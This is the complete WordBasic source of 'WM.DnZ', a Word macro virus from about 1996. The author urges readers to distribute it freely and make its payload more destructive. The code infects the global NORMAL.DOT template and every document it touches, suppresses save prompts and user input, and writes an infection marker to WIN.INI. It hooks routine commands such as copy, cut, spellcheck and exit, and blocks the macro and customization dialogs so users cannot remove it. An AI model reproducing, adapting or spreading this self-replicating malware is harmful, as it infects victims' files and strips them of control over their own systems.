'**********************************************************************
'* WM.DnZ V1.0											    *
'* -----------											    *
'* Author : Bill_HellGateS								    *
'* Origin : University Of Nowhere,						    *
'*          Faculty Of Destruction,						    *
'*          tanmySoft Corp								    *
'*           											    *
'* CopyRight 1996-1997, No Rights Reserved . . .                      *
'**********************************************************************
Please distribute freely!
Modify it and claim credit if you want!
( Modify the payload especially PS make it more destructive )
-----------------------------------------------------------------------
Macro Name : DnZ
Purpose : The 'Brain' of the Virus.
	  All macros referenced this
-----------------------------------------------------------------------
Dim Shared TotalMacros
Dim Shared Macros$(9)
Sub MAIN
'Disable user from terminating the execution of macros
DisableInput 1
'Enable Automacros
DisableAutoMacros 0
'Initialise some variables
SetMacros
'Check for system infection
'If not infected, infect it
If SysInfected = 0 Then
'   Cleanse NORMAL.DOT to remove macros which have
'   the same name as the virus macros
	If CountMacros(0) > 0 Then
		For i = 1 To CountMacros(0)
			For j = 1 To TotalMacros
				If MacroName$(i, 0) = Macros$(j - 1) Then
					ToolsMacro .Name = Macros$(j - 1), .Show = 1, .Delete
				End If
			Next j
		Next i
	End If
'       Allows saving of the NORMAL.DOT without prompting
	ToolsOptionsSave .GlobalDotPrompt = 0
'       Copies the virus macros into NORMAL.DOT
	For k = 1 To TotalMacros
' 		Encrypt the virus
		MacroCopy WindowName$() + ":" + Macros$(k - 1), "Global:" + Macros$(k - 1), 1
	Next k
'       Write virus signature onto WIN.INI
	SetProfileString "Demo", "Program", "Installed"
End If
'Check to see if Document is infected
'If not infected, infect it
If DocInfected = 0 Then
'	Saves the document as a template first
	FileSaveAs .Format =1
'       Copy virus macros into the document
	For l = 1 To TotalMacros
'       Encrypt the virus
	MacroCopy "Global:" + Macros$(l - 1), WindowName$() + ":" + Macros$(l - 1), 1
	Next l
'       Saves document as a template again
	FileSaveAs .Format = 1
End If
'Damage files
PayLoad
End Sub

Function SysInfected
'This is a function to check for system infection
SysInfected = 0
'Extracts virus signature
Test$ = GetProfileString$("Demo", "Program")
If Test$ = "Installed" Then
	SysInfected = 1
End If
End Function

Function DocInfected
'This is a function to check for document infection
Count = 0
DocInfected = 0
'Initialise some variables
SetMacros
If CountMacros(1) >= TotalMacros Then
	For m = 1 To CountMacros(1)
		For n = 1 To TotalMacros
			If MacroName$(m, 1) = Macros$(n - 1) Then
				Count = Count + 1
			End If
		Next n
	Next m
End If
If Count = 7 Then
	DocInfected = 1
Else
	DocInfected = 0
End If
End Function

Sub SetMacros
'Some variables which are crucial
Let TotalMacros = 10
Let Macros$(0) = "EditCopy"
Let Macros$(1) = "EditCut"
Let Macros$(2) = "AutoClose"
Let Macros$(3) = "DnZ"
Let Macros$(4) = "ToolsSpelling"
Let Macros$(5) = "FileNew"
Let Macros$(6) = "FileExit"
Let Macros$(7) = "ToolsMacro"
Let Macros$(8) = "ToolsCustomize"
Let Macros$(9) = "FileTemplates"
End Sub

Sub PayLoad
'A lame payload
If Day(Now())=9 And Month(Now())=3 Then
	MsgBox "Written by Bill_HellGateS", "WM.DnZ", 48
End If
End Sub
-----------------------------------------------------------------------
Macro Name : EditCopy
Purpose : To run macro DnZ whenever the EditCopy fn is executed
-----------------------------------------------------------------------
Sub MAIN
Call DnZ
EditCopy
End Sub
-----------------------------------------------------------------------
Macro Name : EditCut
Purpose : To run macro DnZ whenever the EditCut fn is executed
-----------------------------------------------------------------------
Sub MAIN
Call DnZ
EditCut
End Sub
-----------------------------------------------------------------------
Macro Name : AutoClose
Purpose : Execute DnZ macro whenever a file is closed
-----------------------------------------------------------------------
Sub MAIN
Call DnZ
End Sub
-----------------------------------------------------------------------
Macro Name : ToolsSpelling
Purpose : Execute DnZ whenever spellcheck is done
-----------------------------------------------------------------------
Sub MAIN
Call DnZ
ToolsSpelling
End Sub
-----------------------------------------------------------------------
Macro Name : FileExit
Purpose : Execute DnZ whenever the user attempts to exit
-----------------------------------------------------------------------
Sub MAIN
Call DnZ
FileExit
End Sub
-----------------------------------------------------------------------
Macro Name : FileNew
Purpose : Execute DnZ whenever the user starts a new file
-----------------------------------------------------------------------
Sub MAIN
Dim dlg As FileNew
GetCurValues dlg
Dialog dlg
FileNew dlg
Call DnZ
End Sub
-----------------------------------------------------------------------
Macro Name : ToolsMacro
Purpose : Disables User From Deleting the virus
-----------------------------------------------------------------------
Sub MAIN
'This is a dirty trick
Call DnZ
End Sub
-----------------------------------------------------------------------
Macro Name : ToolsCustomize
Purpose : Disables User From Deleting the virus
-----------------------------------------------------------------------
Sub MAIN
'This is a dirty trick
Call DnZ
End Sub
-----------------------------------------------------------------------
Macro Name : FileTemplates
Purpose : Disables User From Deleting the virus
-----------------------------------------------------------------------
Sub MAIN
'This is a dirty trick
Call DnZ
End Sub
